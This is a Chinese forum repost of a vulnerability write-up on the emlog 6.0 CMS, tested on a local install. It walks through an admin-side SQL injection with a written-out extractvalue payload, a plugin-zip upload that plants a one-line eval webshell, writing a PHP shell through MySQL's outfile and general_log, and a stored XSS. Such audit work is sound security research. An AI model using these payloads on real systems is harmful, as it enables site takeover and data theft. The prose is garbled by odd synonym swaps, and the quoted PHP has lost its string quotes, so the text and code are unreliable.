ikkhksvu 发表于 2024-10-3 13:03:18

CMS代码审计之emlog 6.0


    <h2 style="color: black; text-align: left; margin-bottom: 10px;"><span style="color: black;">1、</span>前言</h2>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">本小菜<span style="color: black;">亦</span>是刚<span style="color: black;">起始</span>玩代码审计,<span style="color: black;">近期</span><span style="color: black;">发掘</span>个比较有趣的CMS跟<span style="color: black;">大众</span>分享一波,虽然只找到<span style="color: black;">有些</span>鸡肋漏洞。废话不多说<span style="color: black;">起始</span>进入正题,<span style="color: black;">这次</span>审计的CMS是emlog 6.0.0版本,官方<span style="color: black;">位置</span>为:http://www.emlog.net。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/b8ibibLfdoP5RtjnX0q3V5IpPezg90rrIrsjbb1HCLPjqrVPS3R5qtALyYhrwTcqtutaScMFIKsHNlUgZSGdHfoQ/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/b8ibibLfdoP5RtjnX0q3V5IpPezg90rrIr9IaFDgSL6ecJk5G5D99poHOATxohPBuR8h4GXT9zqibDWeJZ34L8Cqw/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
    <h2 style="color: black; text-align: left; margin-bottom: 10px;"><span style="color: black;">2、</span>审计思路</h2>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">在学习<span style="color: black;">先辈</span>们的<span style="color: black;">文案</span>后,自己稍微总结一下代码审计的思路<span style="color: black;">重点</span><span style="color: black;">能够</span>分为以下四种。</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">1) <span style="color: black;">查询</span>可控变量,正向<span style="color: black;">跟踪</span>变量传递过程,查看变量<span style="color: black;">是不是</span>进行进行过滤,<span style="color: black;">是不是</span>进行后台交互。</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">2) <span style="color: black;">查询</span><span style="color: black;">敏锐</span>函数,如Select、Insert等,回溯该函数的参数<span style="color: black;">是不是</span>进行过滤、<span style="color: black;">是不是</span>可控。</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">3) 寻<span style="color: black;">敏锐</span>功能点,通读功能点模块,如上传点。</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">4) 直接通读全文代码,这种方式能够更好的理解代码的业务<span style="color: black;">规律</span>,能够挖掘出更有价值的漏洞</p>
    <h2 style="color: black; text-align: left; margin-bottom: 10px;"><span style="color: black;">3、</span>审计过程</h2>
    <h3 style="color: black; text-align: left; margin-bottom: 10px;">1. Sql注入</h3>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">废话不多说,像本小菜这种级别的还是比较<span style="color: black;">爱好</span><span style="color: black;">第1</span>种思路,简单粗暴。</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">首要</span><span style="color: black;">认识</span>一下代码大概<span style="color: black;">规律</span>结构,<span style="color: black;">而后</span>用notepad大法搜索一下$_GET参数<span style="color: black;">瞧瞧</span><span style="color: black;">那些</span>输入没进行过滤,<span style="color: black;">咱们</span>再进行切入。<span style="color: black;">经过</span>搜索<span style="color: black;">发掘</span>/admin/comment.php中未对$_GET[‘ip’]进行任何限制,<span style="color: black;">接下来就查看IP这个参数<span style="color: black;">是不是</span>进行了<span style="color: black;">敏锐</span>操作</span>。</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/b8ibibLfdoP5RtjnX0q3V5IpPezg90rrIrY0aTJCn0C9qAKZOK97g0IOd1zrTxf8ibSj6pzUTdyynaqnnZPpYmRaQ/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">当action等于delbyip时,对token进行判定,查看<span style="color: black;">是不是</span>是管理员,<span style="color: black;">而后</span>将$_GET[‘ip’]赋值给$ip,<span style="color: black;">而后</span>再调用dleCommentByIp($ip)函数,代码如下:</p><span style="color: black;">if</span> ($action== <span style="color: black;">delbyip</span>) {
    &nbsp; &nbsp;LoginAuth::checkToken();<span style="color: black;">if</span> (ROLE != ROLE_ADMIN) {
    &nbsp; &nbsp; &nbsp; &nbsp;emMsg(<span style="color: black;">权限不足!</span>, <span style="color: black;">./</span>);
    &nbsp; &nbsp;}
    &nbsp; &nbsp;$ip = <span style="color: black;">isset</span>($_GET[<span style="color: black;">ip</span>]) ? $_GET[<span style="color: black;">ip</span>] : ;
    &nbsp; &nbsp;$Comment_Model-&gt;delCommentByIp($ip);
    &nbsp; &nbsp;$CACHE-&gt;updateCache(<span style="color: black;">array</span>(<span style="color: black;">sta</span>,<span style="color: black;">comment</span>));
    &nbsp; &nbsp;emDirect(<span style="color: black;">"./comment.php?active_del=1"</span>);
    }<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">接下来进行跟进class Comment_Model的delCommentByIp函数,继续<span style="color: black;">运用</span>搜索大法,在/inludes/model/comment_model.php中<span style="color: black;">发掘</span>delCommentByIp函数,跟进delCommentByIp函数,<span style="color: black;">能够</span>看出这个函数直接将传入的参数$ip,代入<span style="color: black;">“SELECT DISTINCT gid FROM “.DB_PREFIX.”comment WHERE ip=’$ip’”</span>进行sql<span style="color: black;">查找</span>,此过程中未<span style="color: black;">发掘</span>任何过滤<span style="color: black;">行径</span>,<span style="color: black;">咱们</span>只需<span style="color: black;">经过</span>封闭单引号<span style="color: black;">而后</span>进行报错注入。</p><span style="color: black;"><span style="color: black;">function</span> <span style="color: black;">delCommentByIp</span><span style="color: black;">($ip)</span> </span>{
    &nbsp; &nbsp; &nbsp; &nbsp;$blogids = <span style="color: black;">array</span>();
    &nbsp; &nbsp; &nbsp; &nbsp;$sql =<span style="color: black;">"SELECT DISTINCT gid FROM "</span>.DB_PREFIX.<span style="color: black;">"comment WHERE ip=$ip"</span>;
    &nbsp; &nbsp; &nbsp; &nbsp;$query = $this-&gt;db-&gt;query($sql); &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">while</span>($row = $this-&gt;db-&gt;fetch_array($query)) {
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$blogids[] = $row[<span style="color: black;">gid</span>];
    &nbsp; &nbsp; &nbsp; &nbsp;}
    &nbsp; &nbsp; &nbsp; &nbsp;$this-&gt;db-&gt;query(<span style="color: black;">"DELETE FROM "</span>.DB_PREFIX.<span style="color: black;">"comment WHERE ip=$ip"</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">);
      &nbsp; &nbsp; &nbsp; &nbsp;$this-&gt;updateCommentNum($blogids);
      &nbsp; &nbsp;}</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">接下来就进行漏洞验证了,<span style="color: black;">拜访</span>http://127.0.0.1/emlog/admin/comment.php,点击<span style="color: black;">按照</span>ip删除,用burpsuite抓取数据包,构造payload</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">/emlog/admin/comment.php?action=delbyip&amp;token=abac6e12c2abe9b29797b64481ef6ed4&amp;ip=127.0.0.1′and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#&nbsp; 注入时得进行编码处理<span style="color: black;">才可</span>成功,当然各位师傅的骚操作比我多。</p>

    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/b8ibibLfdoP5RtjnX0q3V5IpPezg90rrIrFXUiaKbbURiaAicVVIwibIqgkdOczTx60Md7fEdjUv6y6YM3zPGGl3LbOw/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;">比较尴尬的是该注入点进行了权限校验,<span style="color: black;">亦</span><span style="color: black;">便是</span>说<span style="color: black;">仅有</span>管理员<span style="color: black;">才可</span>注入,<span style="color: black;">因此</span>该漏洞<span style="color: black;">非常</span>的鸡肋,当然<span style="color: black;">亦</span>只是分享一下自己的学习审计过程。</p>
    <h3 style="color: black; text-align: left; margin-bottom: 10px;">2.&nbsp;文件上传漏洞</h3>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">在admin/plugin.php插件上传处存在上传漏洞,<span style="color: black;">经过</span>上传zip压缩的文件,<span style="color: black;">就可</span>上传木马文件。在plugin.php约79行处的上传点当action为upload_zip进行判断,先判断<span style="color: black;">是不是</span>上传文件<span style="color: black;">是不是</span>为空..</p><span style="color: black;">if</span> ($action == <span style="color: black;">upload_zip</span>) {
    &nbsp; &nbsp;LoginAuth::checkToken();
    &nbsp; &nbsp;$zipfile = <span style="color: black;">isset</span>($_FILES[<span style="color: black;">pluzip</span>]) ? $_FILES[<span style="color: black;">pluzip</span>] : ; &nbsp; &nbsp;<span style="color: black;">if</span> ($zipfile[<span style="color: black;">error</span>] == <span style="color: black;">4</span>) {
    &nbsp; &nbsp; &nbsp; &nbsp;emDirect(<span style="color: black;">"./plugin.php?error_d=1"</span>);
    &nbsp; &nbsp;} &nbsp; &nbsp;<span style="color: black;">if</span> (!$zipfile || $zipfile[<span style="color: black;">error</span>] &gt;= <span style="color: black;">1</span> || <span style="color: black;">empty</span>($zipfile[<span style="color: black;">tmp_name</span>])) {
    &nbsp; &nbsp; &nbsp; &nbsp;emMsg(<span style="color: black;">插件上传失败</span>);
    &nbsp; &nbsp;} &nbsp; &nbsp;<span style="color: black;">if</span> (getFileSuffix($zipfile[<span style="color: black;">name</span>]) != <span style="color: black;">zip</span>) { <span style="color: black;">//判断后缀名<span style="color: black;">是不是</span>为zip</span>
    &nbsp; &nbsp; &nbsp; &nbsp;emDirect(<span style="color: black;">"./plugin.php?error_f=1"</span>);
    &nbsp; &nbsp;}

    &nbsp; &nbsp;$ret = emUnZip($zipfile[<span style="color: black;">tmp_name</span>], <span style="color: black;">../content/plugins/</span>, <span style="color: black;">plugin</span>);<span style="color: black;">//解压zip文件到../content/plugins/目录下</span>
    &nbsp; &nbsp;<span style="color: black;">switch</span> ($ret) { &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">case</span> <span style="color: black;">0</span>:
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;emDirect(<span style="color: black;">"./plugin.php?activate_install=1#tpllib"</span>); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">break</span>; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">case</span> <span style="color: black;">-1</span>:
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;emDirect(<span style="color: black;">"./plugin.php?error_e=1"</span>); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">break</span>; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">case</span> <span style="color: black;">1</span>: &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">case</span> <span style="color: black;">2</span>:
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;emDirect(<span style="color: black;">"./plugin.php?error_b=1"</span>); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">break</span>; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">case</span> <span style="color: black;">3</span>:
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;emDirect(<span style="color: black;">"./plugin.php?error_c=1"</span>); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">break</span>;
    &nbsp; &nbsp;}
    }<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">而后</span><span style="color: black;">经过</span>include\lib\function.base.php中的getFilesuSuffix函数获取后缀名,并判断<span style="color: black;">是不是</span>为zip。</span></p><span style="color: black;"><span style="color: black;">function</span> <span style="color: black;">getFileSuffix</span><span style="color: black;">($fileName)</span> </span>{ &nbsp; &nbsp;<span style="color: black;">return</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"> strtolower(pathinfo($fileName, &nbsp;PATHINFO_EXTENSION));
      }</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">之后<span style="color: black;">经过</span>include\lib\function.base.php中emUnzip函数进行解压zip文件,在解压的过程中会对压缩包里的文件名<span style="color: black;">叫作</span>进行判断,<span style="color: black;">倘若</span>你压缩包名<span style="color: black;">叫作</span>为test则压缩包里必须存在test.php文件,否者会进行报错。</p>
    <span style="color: black;"><span style="color: black;">function</span> <span style="color: black;">emUnZip</span><span style="color: black;">($zipfile, $path, $type = <span style="color: black;">tpl</span>)</span> </span>{ &nbsp; &nbsp;<span style="color: black;">if</span>(!class_exists(<span style="color: black;">ZipArchive</span>, <span style="color: black;">FALSE</span>)) { &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">return</span> <span style="color: black;">3</span>;<span style="color: black;">//zip模块问题</span>
    &nbsp; &nbsp;}
    &nbsp; &nbsp;$zip = <span style="color: black;">new</span> ZipArchive(); &nbsp; &nbsp;<span style="color: black;">if</span> (@$zip-&gt;open($zipfile) !== <span style="color: black;">TRUE</span>) { &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">return</span> <span style="color: black;">2</span>;<span style="color: black;">//文件权限问题</span>
    &nbsp; &nbsp;}
    &nbsp; &nbsp;$r = explode(<span style="color: black;">/</span>, $zip-&gt;getNameIndex(<span style="color: black;">0</span>), <span style="color: black;">2</span>);
    &nbsp; &nbsp;$dir = <span style="color: black;">isset</span>($r[<span style="color: black;">0</span>]) ? $r[<span style="color: black;">0</span>] . <span style="color: black;">/</span> : ; &nbsp; &nbsp;<span style="color: black;">switch</span> ($type) { &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">case</span> <span style="color: black;">tpl</span>:
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$re = $zip-&gt;getFromName($dir . <span style="color: black;">header.php</span>); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">if</span> (<span style="color: black;">false</span> === $re) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">return</span> <span style="color: black;">-2</span>; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">break</span>; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">case</span> <span style="color: black;">plugin</span>:
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$plugin_name = substr($dir, <span style="color: black;">0</span>, <span style="color: black;">-1</span>);
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$re = $zip-&gt;getFromName($dir . $plugin_name . <span style="color: black;">.php</span>);<span style="color: black;">//判断<span style="color: black;">是不是</span>存在与文件夹名<span style="color: black;">叫作</span>相同的php文件</span>
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">if</span> (<span style="color: black;">false</span> === $re) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">return</span> <span style="color: black;">-1</span>; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">break</span>; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">case</span> <span style="color: black;">backup</span>:
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$sql_name = substr($dir, <span style="color: black;">0</span>, <span style="color: black;">-1</span>); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">if</span> (getFileSuffix($sql_name) != <span style="color: black;">sql</span>) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">return</span> <span style="color: black;">-3</span>; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">break</span>; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">case</span> <span style="color: black;">update</span>: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">break</span>;
    &nbsp; &nbsp;} &nbsp; &nbsp;<span style="color: black;">if</span> (<span style="color: black;">true</span> === @$zip-&gt;extractTo($path)) {
    &nbsp; &nbsp; &nbsp; &nbsp;$zip-&gt;close(); &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">return</span> <span style="color: black;">0</span>;
    &nbsp; &nbsp;} <span style="color: black;">else</span> { &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: black;">return</span> <span style="color: black;">1</span>;<span style="color: black;">//文件权限问题</span>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">
      &nbsp; &nbsp;}
      }</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">漏洞验证:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">将一句话木马以zip格式进行压缩</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/b8ibibLfdoP5RtjnX0q3V5IpPezg90rrIrcicjiad9KicQlTW00RDxicJ2oiby0x2vuT623DCdBuMeRAicGF0FbR8iaIDicg/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"><span style="color: black;">而后</span>在插件上传处上传插件</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/b8ibibLfdoP5RtjnX0q3V5IpPezg90rrIruB1A00s8orwgcTpVN9LsS5Rqgq84FaeSFicNtEWABPTn8CH0xK5nnuw/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">上传成功后<span style="color: black;">运用</span>菜刀连接content/plugins/test1/test1.php,获取webshell。</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/b8ibibLfdoP5RtjnX0q3V5IpPezg90rrIrIiau80QHMyugCe72HNM8Cy8xjbF3hKf1PEmOqxgV8S4daJu5Aj17hvg/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
    <h3 style="color: black; text-align: left; margin-bottom: 10px;">3. 数据库备份拿shell</h3>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">数据库拿shell<span style="color: black;">重点</span>有两种方式:</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">1、select …into outfile&nbsp; 利用需要的<span style="color: black;">要求</span>有:对web目录需要有写权限;能够<span style="color: black;">运用</span>单引号;<span style="color: black;">晓得</span>绝对路径;<span style="color: black;">无</span>配置-secure-file-priv</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">2、<span style="color: black;">经过</span>general_log,将日志写入特定目录下,利用<span style="color: black;">要求</span>又:对web目录需要要写权限;<span style="color: black;">能够<span style="color: black;">运用</span>单引号;<span style="color: black;">晓得</span>绝对路径;能够执行多行sql语句。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">先尝试<span style="color: black;">第1</span>种<span style="color: black;">办法</span>,先备份sql语句,在其<span style="color: black;">基本</span>上<span style="color: black;">插进</span>select “&lt;?php @eval($_POST) ?&gt;” into outfile ‘eval.php’语句就ok了,<span style="color: black;">然则</span><span style="color: black;">因为</span>配置了secure-file-priv,<span style="color: black;">因此</span>GG,这个<span style="color: black;">办法</span>行不通。</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/b8ibibLfdoP5RtjnX0q3V5IpPezg90rrIrXPm44yYsxpjEib8p23Zhib1r1CQicOOibEzbehCAj3fd7JLDm1gSfdkibuA/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/b8ibibLfdoP5RtjnX0q3V5IpPezg90rrIrRaWrqDgDuX1cUhFQp6UJAEk7nbokhH4W3wV9j7KN1Z4nPFwZ5ZUBMg/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/b8ibibLfdoP5RtjnX0q3V5IpPezg90rrIrPhTESmNycbGNLSNyU4DPqibtyou3NB7esCE0Q8sZDc3Lt0eriao5tqUA/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">运用</span>第二种<span style="color: black;">办法</span>,<span style="color: black;">设置了&nbsp;</span><span style="color: black;">general_log</span><span style="color: black;">&nbsp;和&nbsp;</span><span style="color: black;">general_log_file</span><span style="color: black;">之后所有SQL记录都会写入指定的文件,<span style="color: black;">因此</span><span style="color: black;">能够</span><span style="color: black;">经过</span>这种<span style="color: black;">办法</span>将php语句写到log中。<span style="color: black;">查找</span>语句如下</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">set</span> <span style="color: black;">global</span> general_log=<span style="color: black;">on</span>;</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">SET</span> <span style="color: black;">global</span> general_log_file=<span style="color: black;">C:/phpStudy/PHPTutorial/WWW/emlog/eval.php</span>;&nbsp;</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">SELECT</span> <span style="color: black;">&lt;?php phpinfo();?&gt;</span>;</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">接下来操作如上导入备份文件<span style="color: black;">就可</span>,在C:/phpStudy/PHPTutorial/WWW/emlog/目录下生成eval.php的log文件。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/b8ibibLfdoP5RtjnX0q3V5IpPezg90rrIraNFXz4XcdGu1nWVtWbCebY0aJ1BDPD1Iia2nnnqdr7fBnTqvVCCdKuw/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">拜访</span>http://127.0.0.1/emlog/eval.php,查看获取shell。</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/b8ibibLfdoP5RtjnX0q3V5IpPezg90rrIrlmJ1OUbK2N6nUWn5nw81IIFibkXdjTIW649KmCXJZibcOAKBQhawibW7w/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
    <h3 style="color: black; text-align: left; margin-bottom: 10px;">4. 存储型xss</h3>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">后台链接添加处admin/link.php&nbsp;【http://localhost/admin/link.php】,siteurl参数输出时未进行实体化处理<span style="color: black;">引起</span>,存储型xss。在$action=addlink时,<span style="color: black;">经过</span>addslashes函数进行转义处理,防止进行sql注入,<span style="color: black;">然则</span>未进行任何的html实体化,<span style="color: black;">或</span>过滤处理。<span style="color: black;">经过</span>第44行代码可<span style="color: black;">发掘</span>进行了正则匹配<span style="color: black;">因此</span><span style="color: black;">咱们</span>构造的payload需以http、ftp开头,<span style="color: black;">才可</span>进型数据<span style="color: black;">插进</span>。</p><span style="color: black;">if</span> ($action== <span style="color: black;">addlink</span>) {
    &nbsp; &nbsp;$taxis = <span style="color: black;">isset</span>($_POST[<span style="color: black;">taxis</span>]) ? intval(trim($_POST[<span style="color: black;">taxis</span>])) : <span style="color: black;">0</span>;
    &nbsp; &nbsp;$sitename =<span style="color: black;">isset</span>($_POST[<span style="color: black;">sitename</span>]) ? addslashes(trim($_POST[<span style="color: black;">sitename</span>])) : ;
    &nbsp; &nbsp;$siteurl = <span style="color: black;">isset</span>($_POST[<span style="color: black;">siteurl</span>]) ? addslashes(trim($_POST[<span style="color: black;">siteurl</span>])) : ;
    &nbsp; &nbsp;$description =<span style="color: black;">isset</span>($_POST[<span style="color: black;">description</span>]) ? addslashes(trim($_POST[<span style="color: black;">description</span>])) : ; &nbsp; &nbsp;<span style="color: black;">if</span> ($sitename == || $siteurl ==) {
    &nbsp; &nbsp; &nbsp; &nbsp;emDirect(<span style="color: black;">"./link.php?error_a=1"</span>);
    &nbsp; &nbsp;} &nbsp; &nbsp;<span style="color: black;">if</span> (!preg_match(<span style="color: black;">"/^http|ftp.+$/i"</span>, $siteurl)) { <span style="color: black;">//</span><span style="color: black;"><span style="color: black;">需以</span></span><span style="color: black;"><span style="color: black;">http</span></span><span style="color: black;"><span style="color: black;">、</span></span><span style="color: black;"><span style="color: black;">ftp</span></span><span style="color: black;"><span style="color: black;">开头,</span></span>
    &nbsp; &nbsp; &nbsp; &nbsp;$siteurl = <span style="color: black;">http://</span>.$siteurl;
    &nbsp; &nbsp;}
    &nbsp; &nbsp;$Link_Model-&gt;addLink($sitename, $siteurl, $description, $taxis);
    &nbsp; &nbsp;$CACHE-&gt;updateCache(<span style="color: black;">link</span>);
    &nbsp; &nbsp;emDirect(<span style="color: black;">"./link.php?active_add=1"</span>);
    }<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">经过</span>addLink函数<span style="color: black;">插进</span>链接,接下来跟进/include/model/link_model.php中的link_Model-&gt;addLink函数,该函数将经过addslashes转义完的链接<span style="color: black;">插进</span>数据库 进行存储。</p><span style="color: black;">function</span> addLink(<span style="color: black;">$name</span>, <span style="color: black;">$url</span>, <span style="color: black;">$des</span>, <span style="color: black;">$taxis</span>) { <span style="color: black;">if</span> (<span style="color: black;">$taxis</span> &gt; 30000 || <span style="color: black;">$taxis</span> &lt; 0) { <span style="color: black;">$taxis</span> = 0;
    } <span style="color: black;">$sql</span>=<span style="color: black;">"insert into "</span>.DB_PREFIX.<span style="color: black;">"link (sitename,siteurl,description,taxis) values(<span style="color: black;">$name</span>,<span style="color: black;">$url</span>,<span style="color: black;">$des</span>, <span style="color: black;">$taxis</span>)"</span>; <span style="color: black;">$this</span>-&gt;db-&gt;query(<span style="color: black;">$sql</span>);
    }<p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">接下来跟进输出<span style="color: black;">状况</span>,当action参数为空,<span style="color: black;">经过</span>/include/model/link_model.php中的Link_Model-&gt;getLinks()函数从数据库<span style="color: black;">查找</span>sitename、description、siteurl,并返回<span style="color: black;">查找</span>结果,最后由View::output()进行输出。getLinks()函数<span style="color: black;">查找</span>数据库获取,获取sitename、description、siteurl数据,查看可<span style="color: black;">发掘</span>未对siteurl参数进行实体化和过滤处理。</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/b8ibibLfdoP5RtjnX0q3V5IpPezg90rrIrMwTLkjjFLR6jRd9vrqW5xcxVRW1vF2R2f18j6lDM4p44r6KIjXhDMw/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">查看/include/lib/view.php 中的View::output函数,最后结果<span style="color: black;">经过</span>echo输出,在<span style="color: black;">全部</span>过程都未对siteurl进行实体化、过滤处理,<span style="color: black;">引起</span><span style="color: black;">最后</span><span style="color: black;">导致</span>存储型xss。</p>
